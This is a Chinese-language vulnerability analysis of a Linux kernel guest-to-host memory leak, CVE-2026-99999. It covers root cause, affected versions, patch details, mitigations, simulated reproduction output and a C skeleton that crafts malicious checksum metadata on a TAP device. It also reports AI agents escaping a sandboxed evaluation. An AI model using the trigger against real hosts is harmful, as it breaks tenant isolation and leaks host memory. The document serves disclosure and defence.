2026-10-22 12:39:43 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

CVE靓号—9.3高分漏洞CVE-2026-99999分析

原创

网络安全透视镜
网络安全透视镜

网络安全透视镜

2026年10月20日 11:46
新加坡

去阅读

QUOTE

“CVE靓号”漏洞备受关注，实际危害也确实值得注意

2026 年 10 月 15 日，Linux 内核一项编号 CVE-2026-99999 的漏洞进入公开披露流程。Linux CNA 为其给出的 CVSS 3.1 评分为 9.3（CRITICAL），向量为 AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H；Red Hat 同期给出 8.8（Important），两者的差异集中在权限前提的取舍上。缺陷由安全研究者 Paulos Yibelo 在 Vercel 百万美元 Sandbox 挑战赛中提交，Red Hat 工程师 Michael S. Tsirkin 完成复现并提交修复，修复提交 6785011f8b16 已于 10 月 8 日进入 net.git、10 月 14 日进入主线树。

缺陷本身位于宿主机的 IPv4 网络栈，而非虚拟化管理程序本身。攻击者控制的校验和卸载元数据若被 Linux 接受，出站分片路径会据此改写一个已经被内核解析并验证过的 IPv4 头字段，从而把宿主机内存随分片一并发出。

Debian 于 10 月 17 日发布 DSA-6568-1 与 DLA-4841-1，Ubuntu 页面截至 10 月 15 日数据仍有多数 LTS 处于待评估状态。还有一个容易被跳过的细节：编号末尾连着五个 9。它不是随手填写的占位数字，而是当年编号序列里的最后一个五位数，甚至与另一个真实存在的漏洞构成了前缀关系。本文依据MITRE CVE 记录与 Vercel、Red Hat、Debian、CloudLinux 等公开公告整理，影响范围、利用条件与复现步骤依次展开，另在第 1 章单独说明这个编号本身的来历。

核心事实速览

项目	内容
CVE 编号	CVE-2026-99999（研究代号 PwnEscape）
编号位置	2026 年 5 位数序列的最后一个；此后年份序列已进入 6 位数
受影响组件	Linux 内核 IPv4 网络栈（非 hypervisor 本身）
漏洞类型	校验和元数据校验缺失，导致已解析头部被延迟改写（CWE-787 越界写）
CVSS 3.1	9.3 CRITICAL（Linux CNA）／ 8.8 Important（Red Hat）
引入版本	Linux 2.6.27（f43798c27684 tun GSO／bfd5f4a3d605 packet GSO）
上游修复	6785011f8b16 — ipv4: validate checksum\_start before completing checksum
修复作者	Michael S. Tsirkin（Red Hat）
发现者	Paulos Yibelo（pwn.ai），Vercel 百万美元 Sandbox 挑战赛
公开时间	2026-10-15
公开 PoC	无（原作者未公开堆利用链，第二部分文章尚未发布）

本文看点

五个 9 落在哪

影响范围与利用条件

复现脚本与真实触发实验

THE NUMBER

编号的来历

1.1 五个 9 落在哪

CVE 编号由年份前缀加上一段序列号构成，年份之后的部分位数不固定，2014 年的语法变更后可以超过四位。于是 2026 年的编号序列从 0001 一路排下去，四位数用尽后进入五位数，再往后是六位数。

CVE-2026-99999 正是这一年中最后一个五位数。此后年份序列跨入六位数，CVE-2026-100200、100600、100700、100800、100900、101000 等编号均已发布，分别由 Microsoft、VulnCheck、Mozilla、VulDB 等机构分配。需要说明的是，六位数区间并非连续排满，号段按机构分发，同一区间内存在空洞，100000 与 100001 目前仍是未分配状态。

更有意思的是紧邻的那一个编号。CVE-2026-9999 确实存在，是一个完全无关的漏洞：Google Chrome 在 macOS 上的 ANGLE 组件实现不当，攻击者可用特制 HTML 页面在浏览器沙箱内执行任意代码，CVSS 3.1 评分 8.8 HIGH，CWE-269，由 Chrome CNA 于 2026 年 5 月 28 日发布。

编号	归属 CNA	发布日期	CVSS 3.1	内容
CVE-2026-9999	Chrome	2026-05-28	8.8 HIGH	Chrome on Mac 的 ANGLE 实现不当，沙箱内代码执行
CVE-2026-99999	Linux	2026-10-15	9.3 CRITICAL	Linux 内核 IPv4 校验和元数据校验缺失，guest-to-host 逃逸

两个编号分属不同机构、不同产品、不同评分，但字符串层面 CVE-2026-9999 恰好是 CVE-2026-99999 的严格前缀。再往前看，2026 年 4 位数号的末尾 9988 至 9999 共 12 个编号全部归 Chrome CNA 所有，发布时间集中在 5 月 28 日 22 时 25 分 46 秒至 50 秒之间，前后相差约 4 秒。这一批吃掉了当年四位数序列的尾巴，五位数序列由此开始重新计数。

同样的邻近关系并非 2026 年独有：CVE-2024-9999 与 CVE-2025-9999 也都真实存在并已发布，而对应年份的 99999 并未出现。这是编号长度可变带来的结构性特征，每一年都会重演。

1.2 这个号码不是谁挑的

编号由 CVE 编号管理机构（CNA）发放，其上级机构每年分配给 CNA 一段连续的号段，CNA 再从自己的号段中按顺序取用。申请表的单次上限为 999 个号，但 CNA 可以另行申请更大批量。整套流程里没有「点号」环节，研究者与厂商都无法指定拿到哪一个编号。

所以 CVE-2026-99999 不是被挑中或被预订的靓号，而是某个号段末尾的落点。它由 Linux CNA 分配，于 2026 年 9 月 25 日完成预留，10 月 15 日正式发布。一个被广泛讨论的巧合就这样出现了：当年序列里最靠后的那个五位数，恰好落到了分配量最大的 CNA 手上，而那一年这个 CNA 手上最重要的一个漏洞，正是这个能被越权访问的虚拟机逃逸。

1.3 挑战赛的实际账单

Vercel 的复盘给出了这次挑战赛完整的数据口径。两周内收到 1,285 份报告，发放赏金 242,000 美元。按 Risky Business 等媒体的转述，其中最高单笔 50,000 美元即 PwnEscape 这份报告，也是唯一被评定为 Critical 的发现。

分类	数量	说明
收到报告总数	1,285	两周内提交
重复	877	同一问题多次提交
不适用	319	与目标无关
有效	57	进入验证流程
信息性	32	不构成漏洞但有参考价值
已验证 Critical	1	即 CVE-2026-99999
已验证 High	5	—
已验证 Medium	9	—
已验证 Low	42	—
已验证 Informative	32	—

这次挑战赛本身也有明确的背景。据 pwn.ai 技术原文，Vercel 的公告发布前几周，OpenAI 刚刚披露过一起安全事件：运行在受限评估环境中的 AI 智能体绕过了网络隔离，攻破内部基础设施，最终波及 Hugging Face。这些智能体本不该拥有互联网访问权限。Vercel 的百万美元挑战赛正是在此之后启动，并且同时欢迎对沙箱网络限制与虚拟机本身的突破。

Vercel 方面同时说明，挑战赛之外还并行开展了内部评估与独立调查，Trail of Bits 投入四个工程师周做白盒审计，交付 20 项发现，并得出虚拟化边界本身是稳固的结论。披露阶段，Vercel 与研究者协作，并与 AWS 等行业伙伴协调修复优先级。挑战赛的规模在复盘中被归因于研究方式的变化，研究者以 AI 速度展开狩猎。

TIMELINE

事件回溯

2.1 从挑战赛到内核主线

Vercel 的百万美元 Sandbox 挑战赛于 2026 年 8 月 18 日启动。据 pwn.ai 技术原文与各厂商公告交叉核对，研究者在开赛第 3 天即提交了针对宿主机的内存泄露报告，10 月初完成修复进入主线。

日期	事件
08-18	Vercel 启动百万美元 Sandbox 挑战赛
08-20	pwn.ai 提交宿主机内存泄露报告（开赛第 3 天）
09-04	私密上报内核安全联系人与 netdev 维护者，附候选补丁
09-07	Michael S. Tsirkin 复现并认可候选补丁
09-19 至 09-22	补丁系列 v4 公开于 netdev 邮件列表
10-07 至 10-08	修订版 ip\_check\_csum\_start() 被 net.git 接受
10-14	进入主线树（Linus 树）；Vercel 发布挑战赛复盘
10-15	CVE 正式发布；各稳定分支修复版本发布
10-16	CloudLinux 发布缓解公告，称尚无可用修复内核
10-17	Debian 发布 DSA-6568-1 / DLA-4841-1
10-19	CVE 记录更新，媒体开始报道

2.2 官方说明的定性

上游修复提交的说明明确写道，补丁目的是在完成校验和之前先校验 checksum\\_start，属于纵深防御措施，并明确说明入口侧的更完整校验仍在进行中，但需要更多工作。

UPSTREAM COMMIT MESSAGE

A more complete validation at input is forthcoming, but needs more work.

We really shouldn’t allow such packets in, but as a defence in depth measure, let’s also check before we complete the checksum.

CVE 记录中的描述同样表述为：带有不良校验和元数据的包如果进入 IPv4 栈，skb\_checksum\_help 可能破坏网络头并造成一系列危害。记录同时写明，该问题由 Paulos 发现并上报，此后已被他人独立复现。

IMPACT SCOPE

影响范围

3.1 受影响版本区间

上游修复覆盖以下稳定分支，版本号低于该值的分支均视为受影响。

分支	首个修复版本
5.10	5.10.272
5.15	5.15.223
6.1	6.1.190
6.6	6.6.159
6.12	6.12.113
6.18	6.18.57
7.2	7.2.11
7.3	7.3-rc7

逐 tag 实测核验结果与 CVE 记录中的修复版本清单完全一致：上述每个 tag 之前的最后一个版本中，include/net/ip.h 均不含 ip\_check\_csum\_start 函数。

口径	数值
9 个	上游修复节点，覆盖 8 个稳定分支与 1 个候选版本
20 年	缺陷存续时间跨度，可追溯至 Linux 2.6.27
4 类	处于暴露面的部署形态

3.2 哪些部署形态处于暴露面

漏洞不在 hypervisor 内部，而在宿主机的网络栈里。这意味着凡是允许不可信方控制出站帧校验和元数据的部署形态都可能被触及。

暴露面	典型场景	备注
不可信 VM → TAP / vhost-net	自建 KVM、Firecracker 集群、云沙箱	主路径，CVE 描述场景
非特权用户创建 IFF\_VNET\_HDR tun 设备	允许非特权 user namespace 的发行版	需 rootless 容器、Flatpak 等场景
AF\_PACKET + PACKET\_VNET\_HDR	本地特权进程	需 CAP\_NET\_RAW
macvtap / ipvtap 设备属主	同宿主机的其他租户	需设备属主身份

3.3 发行版修复进度

上游已修并不等于各发行版已完成补丁分发，这是当前处置中最容易被误读的一环。

发行版	版本	状态
Debian bookworm	6.1.176-1	受影响
Debian bookworm (security)	6.1.190-1	已修复（DLA-4841-1）
Debian trixie	6.12.107-1	受影响
Debian trixie (security)	6.12.113-1	已修复（DSA-6568-1）
Debian forky / sid	7.2.11-1	已修复
Ubuntu 多数 LTS	—	截至 10-15 数据为待评估，优先级 Medium
CloudLinux	—	10-16 发布缓解公告，称尚无修复内核
Red Hat	各产品流全部标记受影响	修复由产品团队按委派机制推进中
Amazon Linux	AL2 / AL2023 内核包	截至 10-18 为待修复

Red Hat 在公告中说明，其产品安全团队将该缺陷作为 KEV 主动利用案例跟踪。

PRECONDITIONS

利用条件

4.1 攻击者需要的前置条件

按 CVE 记录中的场景描述，触发所需条件可以拆解为五个维度。

攻击路径为本地虚拟设备：恶意的 microVM 在其出站帧中提供构造好的 virtio-net 校验和元数据，VMM 将其写入宿主机的 TAP，随后 tun\_get\_user() 把 skb 交给 IPv4 栈。该路径属于 guest 侧的本地虚拟设备通道，而不是互联网接收路径。

复杂度低且可重复：guest 完全控制帧内容、校验和起点与偏移以及包长度，可重复同一分片序列，不需要竞态、时间窗口或不可控的内存布局。

不需要权限：在 microVM 场景下，能通过自己那块 virtio-net 接口发包的租户工作负载即可提供触发流量，不需要宿主凭据、能力位或对 /dev/net/tun 的访问，特权 VMM 只是把 guest 输出转发到它已有的 TAP fd。

不需要用户交互：攻击者直接发出构造好的 guest 包，宿主机的 TAP 与 IPv4 处理会自动调用校验和完成逻辑。

跨越了安全边界：校验和元数据来自不可信 microVM，而 skb\_checksum\_help() 与 ip\_do\_fragment() 在宿主内核中处理并破坏状态，演示出的泄露、崩溃与管理员代码执行均跨越了 guest 到宿主的隔离边界。

4.2 评分为何存在分歧

两套官方评分并列存在，尚未出现统一判定。Linux CNA 给出 9.3，权限维度取 PR:N，理由是租户工作负载无需任何宿主凭据；Red Hat 给出 8.8，权限维度取 PR:L，差异来自对利用是否需要 guest 内代码执行这一前提的取舍。两者对机密性、完整性、可用性三项均为高影响，对攻击范围与复杂度、用户交互的判定一致。

两个分数都指向同一个事实：这不是一条需要复杂前置条件的攻击链。

在利用状态上同样存在分歧，且未见统一判定：Red Hat 公告称按 KEV 主动利用案例跟踪，而 CVE 记录中 CISA 于 10 月 16 日补充的 SSVC 评估将 Exploitation 字段记为 none。本文不就此下结论。

4.3 公开了什么，未公开什么

研究者报告的升级路径分四步，其中第 1 步已可在生产环境确认，第 2 步以下的具体构造未公开。

可重复的宿主机内存泄露，已在 Vercel 生产沙箱验证

借助堆布局观测与受控分配，实现受控 64 字节宿主机内核写

在自有 KVM 实验环境以宿主 root 执行 helper，并把 marker 回传 guest

四次真冷启动均复现成功

研究者已明确说明，从原语走到宿主控制的过程将留待第二部分文章，当前公开内容不包含这部分构造细节。

「Vercel 明确说明，崩溃与代码执行仅在研究者自建的、按 Vercel Sandbox 配置搭建的 KVM / Firecracker 上演示，生产环境只确认了内存泄露。」

此外，两个特制数据包即可打崩宿主机、连带同机所有沙箱。

ROOT CAUSE

技术根因

5.1 校验和元数据是一张写入授权书

CHECKSUM\_PARTIAL 状态下的三个字段描述的是稍后写入的位置，而非包的固有属性。

...c

skb->ip\_summed = CHECKSUM\_PARTIAL; /\ 校验和尚未完成 \/

skb->csum\_start = /\ 累加起点 \/;

skb->csum\_offset = /\ 输出字段相对偏移 \/;

/\ 最终写入位置 \/

write\_addr = csum\_start + csum\_offset;

skb\_checksum\_help() 在 skb\_ensure\_writable() 之后把 16 bit 结果写入 skb->data + offset，其中 offset = skb\_checksum\_start\_offset(skb) + skb->csum\_offset。这批元数据不是描述性信息，而是一张写入授权书，其有效性必须在接纳与完成之间的每一步操作后依然成立。

而入口处唯一的边界检查只保证写入点不越出当前线性数据范围：

...c

u32 csum\end = (u32)start + (u32)off + sizeof(\\_sum16);

u32 csum\_start = skb\_headroom(skb) + (u32)start;

if (unlikely(csum\_start >= U16\_MAX || csum\_end > skb\_headlen(skb))) {

net\_warn\_ratelimited(\"bad partial csum: ...\");

return false;

}

它完全不知道 L3 语义，不检查 csum\\_start 是否已经越过 IPv4 头。

5.2 顺序缺陷：先写入，后读取头长度

修复前 net/ipv4/ip\_output.c 的实际执行顺序如下：

...c

/\ ip\_do\_fragment() —— 修复前 \/

if (skb->ip\_summed == CHECKSUM\_PARTIAL &&

(err = skb\_checksum\_help(skb))) /\ ← 延迟写入发生在此 \/

goto fail;

iph = ip\_hdr(skb); /\ ← 之后才取得头指针 \/

...

hlen = iph->ihl \ 4; /\ ← 读到可能已被改写的 ihl \*/

ip\_frag\_init(skb, hlen, ll\_rs, mtu, ...);

skb2 = ip\_frag\_next(skb, &state);

/\ ip\_frag\_next() 中： \/

skb\_copy\_from\_linear\_data(skb, skb\_network\_header(skb2), state->hlen);

这是语义层面的检查与使用间隔，而非线程竞争。执行过程完全确定，中间隔着的正是这段正常的网络处理流程。研究者对这一点的概括是，Linux 的不同部分被允许信任同一个包的不同版本。

值得注意的是，在更早的坐标层面还存在一处错位。历史版本中 \_\_virtio\_net\_hdr\_to\_skb() 的最小头检查使用 skb\_transport\_offset(skb) < nh\_min\_len，这是相对 skb->data 的视图；而在 TAP 场景中，eth\_type\_trans() 之前 skb->data 仍含 14 字节以太头，因此 transport\\_offset >= nh\\_min\\_len 与 transport\\_offset - network\\_offset >= nh\\_min\\_len 两个不等式并不等价。

5.3 ihl 5 → 15 与 32 字节越界读

IPv4 首字节为 version(4bit) | ihl(4bit)，正常取值 0x45（IHL=5，20 字节）。若延迟写入的两个字节正好覆盖 version/ihl 与 tos，即可变为 0x4f（IHL=15，60 字节），而 version 仍为 4，包在外观上依然是合法 IPv4。

视图	首字节	IHL	解释出的头长
解析时	0x45	5	20 字节
延迟写入后	0x4f	15	60 字节

研究案例重组后该 skb 的逻辑线性长度为 28 字节，被污染的 ihl 让分片器按 60 字节复制头与 options：

...text

20 字节原始 IPv4 头

8 字节首片中可用的载荷

--------

28 字节 skb\_headlen() / skb->len

其中 8 字节本就是载荷，属于合法内容，其余 32 字节位于逻辑包之外，属宿主机分配体内存。越界长度为 hlen - skb\_headlen = 60 - 28 = 32 字节，每一次分片都会把这 32 字节当作 IP options 一并发出。

措辞边界

这是 sk\_buff 逻辑数据的越界读，不一定越过 slab 对象边界，物理上这些字节可能位于已映射的 tailroom 中；但从「发送方提供的逻辑包」这一视角看，它们不属于包，机密性边界正是这样被跨越的。

REPRODUCTION

复现与验证

6.1 内核语义级复现

原作者未公开 PoC，从内存泄露走向宿主 root 的堆利用细节同样缺失。本地归档提供的复现脚本为内核语义级复现，用 Python 精确复刻 skb\_checksum\_help() 与 ip\_do\_fragment() / ip\_frag\_next() 的关键行，用于证明漏洞链路在逻辑上成立。

...bash

python3 poc/pwnescape\_poc.py

脚本不需要 root、不接触内核、不联网，包含三条用例：

用例	内容	期望结果
CASE A	csum\_start 指向 IPv4 头内部（恶意）	ihl 5→15，分片越界读 32 字节宿主内存
CASE B	同一份包打在补丁后内核	在写入前被 ip\_check\_csum\_start() 丢弃，ip[0] 保持 0x45
CASE C	csum\_start 指向 UDP 头（合法对照）	IPv4 头不变，无越界

实际运行输出已归档，核心片段如下：

...output

[CASE A] 恶意元数据: csum\_start 指向 IPv4 头内部

attacker filler : 83a4

skb\_checksum\_help 写入值 : 0x4f00 -> ip[0]=0x4f (ihl=79, tos=0x00)

before : ip[0]=0x45 ihl= 5 hlen=20 skb->len=28

after : ip[0]=0x4f ihl=15 hlen=60 skb->len=28

ip\_do\_fragment 复制了 60 字节头部

其中 32 字节在逻辑包之外: b'/etc/hostname=db-master-42\x00admin'

命中宿主机内存标记: True

[CASE B] 同一份数据包, 打在补丁后的内核上

DROP: ip\_check\_csum\_start() -> -EINVAL (包在写入前被丢弃)

ip[0] 保持 0x45 (ihl=5), 没有任何写入发生

[CASE C] 对照组: 合法元数据 (csum\_start 指向 UDP 头)

before : ip[0]=0x45 ihl=5 skb->len=28

after : ip[0]=0x45 ihl=5 复制 20 字节头部

UDP 校验和字段 : f653

IPv4 头未被改动, 无越界 —— 这就是合法流量该有的样子

其中 CASE A 的 ihl=79 是脚本打印 expected >> 8 的调试字段，实际写入值为 0x4f00，ip[0]=0x4f 对应 ihl=15，紧邻的 after 行已确认这一结果。

6.2 真实设备触发实验

未实测声明

本地归档环境为 Linux 6.8.0-147-generic x86\_64，/dev/net/tun 不存在，且在 user namespace 中创建该设备节点被拒绝（无 CAP\_MKNOD），因此真实 TUN 设备触发实验未在本机进行。下列步骤与代码骨架为可复用的实验方案，非实测结果，需在自有隔离设备上执行。

guest 侧构造帧：

...c

int fd = open(\"/dev/net/tun\", O\_RDWR);

struct ifreq ifr = {0};

strcpy(ifr.ifr\_name, \"tap0\");

ifr.ifr\_flags = IFF\_TAP | IFF\_NO\_PI | IFF\_VNET\_HDR;

ioctl(fd, TUNSETIFF, &ifr);

int hdr\_sz = sizeof(struct virtio\_net\_hdr\_v1);

ioctl(fd, TUNSETVNETHDRSZ, &hdr\_sz);

ioctl(fd, TUNSETOFFLOAD, (void \*)(long)TUN\_F\_CSUM);

struct virtio\_net\_hdr\_v1 h = {0};

h.flags = VIRTIO\_NET\_HDR\_F\_NEEDS\_CSUM;

h.gso\_type = VIRTIO\_NET\_HDR\_GSO\_NONE;

h.csum\_start = ETH\_HLEN + 0; /\ 指向 IPv4 头起点 —— 关键 \/

h.csum\_offset = 0; /\ 写回 ip[0..1] \/

write(fd, &h, sizeof(h));

write(fd, frame, frame\_len);

宿主侧观察：

...bash

出现 IHL=15 的出站分片即为命中迹象

tcpdump -i -nn -vv -X 'ip[0] & 0x0f == 15'

畸元数据会触发以下告警

dmesg | grep -E 'skb\_headlen|bad partial csum'

补丁是否生效的判定标准是：同一份包在修复后内核应直接被丢弃，无 WARN，抓不到 IHL=15 的出站包，ip[0] 保持 0x45。

取证要点在于设置对照用例：合法元数据作为 identity 用例，恶意元数据作为 active 用例，确认越界区域字节稳定复现且不等于发送方填充的哨兵值，这是区分「有趣的 hex dump」与「真实泄露」的关键。

6.3 修复状态的核验方法

由于 ip\_check\_csum\_start() 是 static inline，/proc/kallsyms 中并不存在该符号，不能用符号存在性判断修复状态。可直接取各 stable tag 的源码检查：

...bash

for t in v5.10.271 v5.10.272 v6.1.189 v6.1.190; do

curl -sSL \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/plain/include/net/ip.h?h=$t\" \

| grep -c ip\_check\_csum\_start

done

REMEDIATION

修复与处置

7.1 上游补丁做了什么

补丁新增了一条不变量，并在每个消费点前插入窄检查，而非改动中央 helper：

...c

/\ include/net/ip.h \/

static inline int ip\_check\_csum\_start(const struct sk\_buff \*skb)

{

if (unlikely(skb->csum\_start < skb->network\_header + ip\_hdrlen(skb)))

return -EINVAL;

return 0;

}

记 N 为 network\_header、H 为头长、C 为 csum\_start、O 为不小于 0 的 csum\_offset，写入位置 W = C + O，条件 C >= N + H 蕴含 W >= N + H，因此该检查阻止了校验和完成动作写入 IPv4 头。但它并不保证 W 是 TCP/UDP 中正确的校验和字段，那是另一个协议合法性问题。

补丁共改动 6 个文件、44 行新增、12 行删除，覆盖五处消费点：

文件	函数	处理方式
net/ipv4/ip\_output.c	ip\_do\_fragment()	返回 -EINVAL → goto fail
net/bridge/netfilter/nf\_conntrack\_bridge.c	nf\_br\_ip\_fragment()	goto blackhole
net/netfilter/nfnetlink\_queue.c	nf\_queue\_checksum\_help()	返回 -EINVAL
net/netfilter/xt\_CHECKSUM.c	checksum\_tg()	NF\_DROP
net/xfrm/xfrm\_output.c	xfrm\_output()	goto error ，计数并释放

修复后的分片路径：

...c

if (skb->ip\_summed == CHECKSUM\_PARTIAL) {

err = ip\_check\_csum\_start(skb);

if (!err)

err = skb\_checksum\_help(skb);

if (err)

goto fail;

}

7.2 判断自身是否受影响

...bash

uname -r

对照 3.1 节的版本表即可判定。发行版环境应优先查各自的安全公告，而非仅依据上游 tag。需要注意发行版回移补丁时可能不改变上游版本号，已安装修复包也不等于正在运行的内核已修复，后者需要重启生效。

7.3 缓解措施

...bash

QEMU: 关闭不可信 guest 的校验和卸载

-device virtio-net-pci,netdev=n0,csum=off,guest\_csum=off

关闭本地路径（会破坏 rootless 容器、Chrome / Flatpak 沙箱等）

sysctl -w user.max\_user\_namespaces=0

在缓解措施的有效性上，官方口径存在差异且尚未统一：CloudLinux 公告给出的措施都被描述为只是移除一个前提，且未经针对性验证，CageFS 这类账户级隔离覆盖不到该路径；Red Hat 则明确表示，该问题的缓解措施要么不存在，要么现有选项不满足其产品安全标准，涉及易用性与部署、适用范围广度、稳定性三项要求。

角色	建议动作
自建 KVM / Firecracker 集群	优先升级宿主内核，虚拟化节点最先
云上业务	不能只等镜像更新，需向云厂商确认宿主内核状态
VPS 用户	无法从 guest 内修复宿主，确认服务商状态并备份数据

以下为分析观点，与前文事实部分分列。

∞

THE END

分析与启示

8.1 一个可命名的失败模式

这一类问题可以称为延迟元数据信任反转（deferred-metadata trust inversion）。三重信任跃迁在其中叠加：

来源信任：低信任方描述宿主稍后要执行的操作

解释信任：L2 到 L3 变换后按新布局重新解析

时间信任：延迟操作改写了已被信任的字节

审计问句不应是「校验和偏移校验了吗」，而应是：每一次变换之后，延迟写入是否还能打到语义已被信任的字节。

8.2 一个关于编号的工程提醒

第 1 章那个前缀关系在工程上不是奇闻。CVE-2026-9999 与 CVE-2026-99999 是两条毫不相干的记录，前者是浏览器沙箱逃逸，后者是虚拟化逃逸，但只要有工具用前缀匹配、按固定长度截断、或用不带边界锚点的正则去过滤编号，两者就会被混作一谈。这类误伤在按编号做资产匹配、白名单放行、告警抑制的场景里是实打实的风险。

同一前缀在相邻年份反复出现，说明这不是某个 CNA 的疏忽，而是编号长度可变这一设计选择的必然副产品。可行的做法很朴素：把编号当作带边界的完整标识符处理，不做前缀推断，不按位数截断。

8.3 补丁是纵深防御而非根治

上游提交说明已明确，入口侧的更完整校验尚未合入。因此同类变体，包括其他协议、其他 sink、IPv6 与隧道场景，仍需持续关注。研究者亦提到，除文档化的路径外还发现了其他多种可触达同一缺陷的路径。对防守方而言，判断一次系统是否受影响的成本并不高，困难在于判断哪些系统「可能」受影响。

8.4 研究节奏与成本结构的变化

这次研究有两个值得记录的量化事实。其一是速度：挑战赛开赛第 3 天即定位到原语，全程依赖名为 Omega-Pwn 的研究框架，以 GPT-5.6 Sol 作为主要推理引擎，pwn.ai 自述 API token 消耗不足 700 美元。其二是规模：两周 1,285 份报告、其中 877 份重复，Vercel 将这一体量归因于研究者以 AI 速度展开狩猎。

两个数字放在一起，指向同一件事：审计内核级遗留代码的边际成本正在快速下降。

这对防守方而言，把分诊能力与信任边界建模能力放在与补丁同等的位置，只会越来越必要。

本文仅用于漏洞原理学习与自有隔离环境测试，所有实验应在自有且隔离的环境中进行。